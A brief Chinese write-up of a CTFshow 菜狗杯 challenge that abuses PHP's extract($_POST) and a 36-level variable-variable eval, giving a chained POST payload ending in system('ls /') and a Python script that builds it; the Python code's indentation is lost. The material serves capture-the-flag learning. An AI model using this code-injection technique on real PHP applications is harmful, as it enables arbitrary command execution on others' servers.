题目来源
CTFshow-菜狗杯
考点
$的多重取值
题目源码
解题思路
通过阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是'_'
Payload
我们采用python代码构造payload,读取文件列表
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&
p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=
F&F=G&G=H&H=I&I=J&I=system('ls /');
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)